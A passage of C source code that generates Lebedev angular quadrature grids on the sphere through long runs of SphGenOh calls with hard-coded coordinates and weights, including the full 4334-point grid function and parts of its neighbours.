0.4069193593751206e-1; v = 0.1162798021956766e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.7025888115257997e-1; v = 0.1518728583972105e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.1027495450028704e+0; v = 0.1798796108216934e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.1371457730893426e+0; v = 0.2022593385972785e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.1727758532671953e+0; v = 0.2203093105575464e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.2091492038929037e+0; v = 0.2349294234299855e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.2458813281751915e+0; v = 0.2467682058747003e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.2826545859450066e+0; v = 0.2563092683572224e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.3191957291799622e+0; v = 0.2639253896763318e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.3552621469299578e+0; v = 0.2699137479265108e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.3906329503406230e+0; v = 0.2745196420166739e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.4251028614093031e+0; v = 0.2779529197397593e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.4584777520111870e+0; v = 0.2803996086684265e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.4905711358710193e+0; v = 0.2820302356715842e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.5212011669847385e+0; v = 0.2830056747491068e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.5501878488737995e+0; v = 0.2834808950776839e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6025037877479342e+0; v = 0.2835282339078929e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6254572689549016e+0; v = 0.2833819267065800e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6460107179528248e+0; v = 0.2832858336906784e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6639541138154251e+0; v = 0.2833268235451244e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6790688515667495e+0; v = 0.2835432677029253e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6911338580371512e+0; v = 0.2839091722743049e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6999385956126490e+0; v = 0.2843308178875841e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.7053037748656896e+0; v = 0.2846703550533846e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.4732224387180115e-1; v = 0.1051193406971900e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.1202100529326803e+0; v = 0.1657871838796974e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.2034304820664855e+0; v = 0.2064648113714232e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.2912285643573002e+0; v = 0.2347942745819741e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.3802361792726768e+0; v = 0.2547775326597726e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.4680598511056146e+0; v = 0.2686876684847025e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.5528151052155599e+0; v = 0.2778665755515867e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.6329386307803041e+0; v = 0.2830996616782929e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.8056516651369069e-1; b = 0.2363454684003124e-1; v = 0.1403063340168372e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.1156476077139389e+0; b = 0.5191291632545936e-1; v = 0.1696504125939477e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.1520473382760421e+0; b = 0.8322715736994519e-1; v = 0.1935787242745390e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.1892986699745931e+0; b = 0.1165855667993712e+0; v = 0.2130614510521968e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2270194446777792e+0; b = 0.1513077167409504e+0; v = 0.2289381265931048e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2648908185093273e+0; b = 0.1868882025807859e+0; v = 0.2418630292816186e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3026389259574136e+0; b = 0.2229277629776224e+0; v = 0.2523400495631193e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3400220296151384e+0; b = 0.2590951840746235e+0; v = 0.2607623973449605e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3768217953335510e+0; b = 0.2951047291750847e+0; v = 0.2674441032689209e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4128372900921884e+0; b = 0.3307019714169930e+0; v = 0.2726432360343356e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4478807131815630e+0; b = 0.3656544101087634e+0; v = 0.2765787685924545e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4817742034089257e+0; b = 0.3997448951939695e+0; v = 0.2794428690642224e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5143472814653344e+0; b = 0.4327667110812024e+0; v = 0.2814099002062895e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5454346213905650e+0; b = 0.4645196123532293e+0; v = 0.2826429531578994e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5748739313170252e+0; b = 0.4948063555703345e+0; v = 0.2832983542550884e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.1599598738286342e+0; b = 0.2792357590048985e-1; v = 0.1886695565284976e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.1998097412500951e+0; b = 0.5877141038139065e-1; v = 0.2081867882748234e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2396228952566202e+0; b = 0.9164573914691377e-1; v = 0.2245148680600796e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2792228341097746e+0; b = 0.1259049641962687e+0; v = 0.2380370491511872e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3184251107546741e+0; b = 0.1610594823400863e+0; v = 0.2491398041852455e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3570481164426244e+0; b = 0.1967151653460898e+0; v = 0.2581632405881230e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3949164710492144e+0; b = 0.2325404606175168e+0; v = 0.2653965506227417e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4318617293970503e+0; b = 0.2682461141151439e+0; v = 0.2710857216747087e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4677221009931678e+0; b = 0.3035720116011973e+0; v = 0.2754434093903659e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5023417939270955e+0; b = 0.3382781859197439e+0; v = 0.2786579932519380e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5355701836636128e+0; b = 0.3721383065625942e+0; v = 0.2809011080679474e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5672608451328771e+0; b = 0.4049346360466055e+0; v = 0.2823336184560987e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5972704202540162e+0; b = 0.4364538098633802e+0; v = 0.2831101175806309e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2461687022333596e+0; b = 0.3070423166833368e-1; v = 0.2221679970354546e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2881774566286831e+0; b = 0.6338034669281885e-1; v = 0.2356185734270703e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3293963604116978e+0; b = 0.9742862487067941e-1; v = 0.2469228344805590e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3697303822241377e+0; b = 0.1323799532282290e+0; v = 0.2562726348642046e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4090663023135127e+0; b = 0.1678497018129336e+0; v = 0.2638756726753028e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4472819355411712e+0; b = 0.2035095105326114e+0; v = 0.2699311157390862e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4842513377231437e+0; b = 0.2390692566672091e+0; v = 0.2746233268403837e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5198477629962928e+0; b = 0.2742649818076149e+0; v = 0.2781225674454771e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5539453011883145e+0; b = 0.3088503806580094e+0; v = 0.2805881254045684e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5864196762401251e+0; b = 0.3425904245906614e+0; v = 0.2821719877004913e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6171484466668390e+0; b = 0.3752562294789468e+0; v = 0.2830222502333124e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3350337830565727e+0; b = 0.3261589934634747e-1; v = 0.2457995956744870e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3775773224758284e+0; b = 0.6658438928081572e-1; v = 0.2551474407503706e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4188155229848973e+0; b = 0.1014565797157954e+0; v = 0.2629065335195311e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4586805892009344e+0; b = 0.1368573320843822e+0; v = 0.2691900449925075e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4970895714224235e+0; b = 0.1724614851951608e+0; v = 0.2741275485754276e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5339505133960747e+0; b = 0.2079779381416412e+0; v = 0.2778530970122595e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5691665792531440e+0; b = 0.2431385788322288e+0; v = 0.2805010567646741e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6026387682680377e+0; b = 0.2776901883049853e+0; v = 0.2822055834031040e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6342676150163307e+0; b = 0.3113881356386632e+0; v = 0.2831016901243473e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4237951119537067e+0; b = 0.3394877848664351e-1; v = 0.2624474901131803e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4656918683234929e+0; b = 0.6880219556291447e-1; v = 0.2688034163039377e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5058857069185980e+0; b = 0.1041946859721635e+0; v = 0.2738932751287636e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5443204666713996e+0; b = 0.1398039738736393e+0; v = 0.2777944791242523e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5809298813759742e+0; b = 0.1753373381196155e+0; v = 0.2806011661660987e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6156416039447128e+0; b = 0.2105215793514010e+0; v = 0.2824181456597460e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6483801351066604e+0; b = 0.2450953312157051e+0; v = 0.2833585216577828e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5103616577251688e+0; b = 0.3485560643800719e-1; v = 0.2738165236962878e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5506738792580681e+0; b = 0.7026308631512033e-1; v = 0.2778365208203180e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5889573040995292e+0; b = 0.1059035061296403e+0; v = 0.2807852940418966e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6251641589516930e+0; b = 0.1414823925236026e+0; v = 0.2827245949674705e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6592414921570178e+0; b = 0.1767207908214530e+0; v = 0.2837342344829828e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5930314017533384e+0; b = 0.3542189339561672e-1; v = 0.2809233907610981e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6309812253390175e+0; b = 0.7109574040369549e-1; v = 0.2829930809742694e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6666296011353230e+0; b = 0.1067259792282730e+0; v = 0.2841097874111479e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6703715271049922e+0; b = 0.3569455268820809e-1; v = 0.2843455206008783e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); return N; } static int MakeAngularGrid_4334(double (*pOut)[4]) { double a = 0, b = 0, v; int N = 0; v = 0.1449063022537883e-4; N += SphGenOh(&pOut[N][0], 0, a, b, v); v = 0.2546377329828424e-3; N += SphGenOh(&pOut[N][0], 2, a, b, v); a = 0.1462896151831013e-1; v = 0.6018432961087496e-4; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.3769840812493139e-1; v = 0.1002286583263673e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6524701904096891e-1; v = 0.1315222931028093e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.9560543416134648e-1; v = 0.1564213746876724e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.1278335898929198e+0; v = 0.1765118841507736e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.1613096104466031e+0; v = 0.1928737099311080e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.1955806225745371e+0; v = 0.2062658534263270e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.2302935218498028e+0; v = 0.2172395445953787e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.2651584344113027e+0; v = 0.2262076188876047e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.2999276825183209e+0; v = 0.2334885699462397e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.3343828669718798e+0; v = 0.2393355273179203e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.3683265013750518e+0; v = 0.2439559200468863e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.4015763206518108e+0; v = 0.2475251866060002e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.4339612026399770e+0; v = 0.2501965558158773e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.4653180651114582e+0; v = 0.2521081407925925e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.4954893331080803e+0; v = 0.2533881002388081e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.5243207068924930e+0; v = 0.2541582900848261e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.5516590479041704e+0; v = 0.2545365737525860e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6012371927804176e+0; v = 0.2545726993066799e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6231574466449819e+0; v = 0.2544456197465555e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6429416514181271e+0; v = 0.2543481596881064e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6604124272943595e+0; v = 0.2543506451429194e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6753851470408250e+0; v = 0.2544905675493763e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6876717970626160e+0; v = 0.2547611407344429e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6970895061319234e+0; v = 0.2551060375448869e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.7034746912553310e+0; v = 0.2554291933816039e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.7067017217542295e+0; v = 0.2556255710686343e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.4382223501131123e-1; v = 0.9041339695118195e-4; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.1117474077400006e+0; v = 0.1438426330079022e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.1897153252911440e+0; v = 0.1802523089820518e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.2724023009910331e+0; v = 0.2060052290565496e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.3567163308709902e+0; v = 0.2245002248967466e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.4404784483028087e+0; v = 0.2377059847731150e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.5219833154161411e+0; v = 0.2468118955882525e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.5998179868977553e+0; v = 0.2525410872966528e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.6727803154548222e+0; v = 0.2553101409933397e-3; N += SphGenOh(&pOut[N][0], 4, a, b, v); a = 0.7476563943166086e-1; b = 0.2193168509461185e-1; v = 0.1212879733668632e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.1075341482001416e+0; b = 0.4826419281533887e-1; v = 0.1472872881270931e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.1416344885203259e+0; b = 0.7751191883575742e-1; v = 0.1686846601010828e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.1766325315388586e+0; b = 0.1087558139247680e+0; v = 0.1862698414660208e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2121744174481514e+0; b = 0.1413661374253096e+0; v = 0.2007430956991861e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2479669443408145e+0; b = 0.1748768214258880e+0; v = 0.2126568125394796e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2837600452294113e+0; b = 0.2089216406612073e+0; v = 0.2224394603372113e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3193344933193984e+0; b = 0.2431987685545972e+0; v = 0.2304264522673135e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3544935442438745e+0; b = 0.2774497054377770e+0; v = 0.2368854288424087e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3890571932288154e+0; b = 0.3114460356156915e+0; v = 0.2420352089461772e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4228581214259090e+0; b = 0.3449806851913012e+0; v = 0.2460597113081295e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4557387211304052e+0; b = 0.3778618641248256e+0; v = 0.2491181912257687e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4875487950541643e+0; b = 0.4099086391698978e+0; v = 0.2513528194205857e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5181436529962997e+0; b = 0.4409474925853973e+0; v = 0.2528943096693220e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5473824095600661e+0; b = 0.4708094517711291e+0; v = 0.2538660368488136e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5751263398976174e+0; b = 0.4993275140354637e+0; v = 0.2543868648299022e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.1489515746840028e+0; b = 0.2599381993267017e-1; v = 0.1642595537825183e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.1863656444351767e+0; b = 0.5479286532462190e-1; v = 0.1818246659849308e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2238602880356348e+0; b = 0.8556763251425254e-1; v = 0.1966565649492420e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2612723375728160e+0; b = 0.1177257802267011e+0; v = 0.2090677905657991e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2984332990206190e+0; b = 0.1508168456192700e+0; v = 0.2193820409510504e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3351786584663333e+0; b = 0.1844801892177727e+0; v = 0.2278870827661928e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3713505522209120e+0; b = 0.2184145236087598e+0; v = 0.2348283192282090e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4067981098954663e+0; b = 0.2523590641486229e+0; v = 0.2404139755581477e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4413769993687534e+0; b = 0.2860812976901373e+0; v = 0.2448227407760734e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4749487182516394e+0; b = 0.3193686757808996e+0; v = 0.2482110455592573e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5073798105075426e+0; b = 0.3520226949547602e+0; v = 0.2507192397774103e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5385410448878654e+0; b = 0.3838544395667890e+0; v = 0.2524765968534880e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5683065353670530e+0; b = 0.4146810037640963e+0; v = 0.2536052388539425e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5965527620663510e+0; b = 0.4443224094681121e+0; v = 0.2542230588033068e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2299227700856157e+0; b = 0.2865757664057584e-1; v = 0.1944817013047896e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.2695752998553267e+0; b = 0.5923421684485993e-1; v = 0.2067862362746635e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3086178716611389e+0; b = 0.9117817776057715e-1; v = 0.2172440734649114e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3469649871659077e+0; b = 0.1240593814082605e+0; v = 0.2260125991723423e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3845153566319655e+0; b = 0.1575272058259175e+0; v = 0.2332655008689523e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4211600033403215e+0; b = 0.1912845163525413e+0; v = 0.2391699681532458e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4567867834329882e+0; b = 0.2250710177858171e+0; v = 0.2438801528273928e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4912829319232061e+0; b = 0.2586521303440910e+0; v = 0.2475370504260665e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5245364793303812e+0; b = 0.2918112242865407e+0; v = 0.2502707235640574e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5564369788915756e+0; b = 0.3243439239067890e+0; v = 0.2522031701054241e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5868757697775287e+0; b = 0.3560536787835351e+0; v = 0.2534511269978784e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6157458853519617e+0; b = 0.3867480821242581e+0; v = 0.2541284914955151e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3138461110672113e+0; b = 0.3051374637507278e-1; v = 0.2161509250688394e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3542495872050569e+0; b = 0.6237111233730755e-1; v = 0.2248778513437852e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3935751553120181e+0; b = 0.9516223952401907e-1; v = 0.2322388803404617e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4317634668111147e+0; b = 0.1285467341508517e+0; v = 0.2383265471001355e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4687413842250821e+0; b = 0.1622318931656033e+0; v = 0.2432476675019525e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5044274237060283e+0; b = 0.1959581153836453e+0; v = 0.2471122223750674e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5387354077925727e+0; b = 0.2294888081183837e+0; v = 0.2500291752486870e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5715768898356105e+0; b = 0.2626031152713945e+0; v = 0.2521055942764682e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6028627200136111e+0; b = 0.2950904075286713e+0; v = 0.2534472785575503e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6325039812653463e+0; b = 0.3267458451113286e+0; v = 0.2541599713080121e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.3981986708423407e+0; b = 0.3183291458749821e-1; v = 0.2317380975862936e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4382791182133300e+0; b = 0.6459548193880908e-1; v = 0.2378550733719775e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4769233057218166e+0; b = 0.9795757037087952e-1; v = 0.2428884456739118e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5140823911194238e+0; b = 0.1316307235126655e+0; v = 0.2469002655757292e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5496977833862983e+0; b = 0.1653556486358704e+0; v = 0.2499657574265851e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5837047306512727e+0; b = 0.1988931724126510e+0; v = 0.2521676168486082e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6160349566926879e+0; b = 0.2320174581438950e+0; v = 0.2535935662645334e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6466185353209440e+0; b = 0.2645106562168662e+0; v = 0.2543356743363214e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.4810835158795404e+0; b = 0.3275917807743992e-1; v = 0.2427353285201535e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5199925041324341e+0; b = 0.6612546183967181e-1; v = 0.2468258039744386e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5571717692207494e+0; b = 0.9981498331474143e-1; v = 0.2500060956440310e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5925789250836378e+0; b = 0.1335687001410374e+0; v = 0.2523238365420979e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6261658523859670e+0; b = 0.1671444402896463e+0; v = 0.2538399260252846e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6578811126669331e+0; b = 0.2003106382156076e+0; v = 0.2546255927268069e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5609624612998100e+0; b = 0.3337500940231335e-1; v = 0.2500583360048449e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.5979959659984670e+0; b = 0.6708750335901803e-1; v = 0.2524777638260203e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6330523711054002e+0; b = 0.1008792126424850e+0; v = 0.2540951193860656e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6660960998103972e+0; b = 0.1345050343171794e+0; v = 0.2549524085027472e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6365384364585819e+0; b = 0.3372799460737052e-1; v = 0.2542569507009158e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); a = 0.6710994302899275e+0; b = 0.6755249309678028e-1; v = 0.2552114127580376e-3; N += SphGenOh(&pOut[N][0], 5, a, b, v); return N; } static int MakeAngularGrid_4802(double (*pOut)[4]) { double a = 0, b = 0, v; int N = 0; v = 0.9687521879420705e-4; N += SphGenOh(&pOut[N][0], 0, a, b, v); v = 0.2307897895367918e-3; N += SphGenOh(&pOut[N][0], 1, a, b, v); v = 0.2297310852498558e-3; N += SphGenOh(&pOut[N][0], 2, a, b, v); a = 0.2335728608887064e-1; v = 0.7386265944001919e-4; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.4352987836550653e-1; v = 0.8257977698542210e-4; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.6439200521088801e-1; v = 0.9706044762057630e-4; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.9003943631993181e-1; v = 0.1302393847117003e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.1196706615548473e+0; v = 0.1541957004600968e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.1511715412838134e+0; v = 0.1704459770092199e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.1835982828503801e+0; v = 0.1827374890942906e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.2165081259155405e+0; v = 0.1926360817436107e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.2496208720417563e+0; v = 0.2008010239494833e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.2827200673567900e+0; v = 0.2075635983209175e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.3156190823994346e+0; v = 0.2131306638690909e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.3481476793749115e+0; v = 0.2176562329937335e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.3801466086947226e+0; v = 0.2212682262991018e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.4114652119634011e+0; v = 0.2240799515668565e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.4419598786519751e+0; v = 0.2261959816187525e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.4714925949329543e+0; v = 0.2277156368808855e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.4999293972879466e+0; v = 0.2287351772128336e-3; N += SphGenOh(&pOut[N][0], 3, a, b, v); a = 0.5271387221431248e+0; v = 0.2293490814084085e-3; N += SphGenOh(&pOut[N][0], 3, a, b, 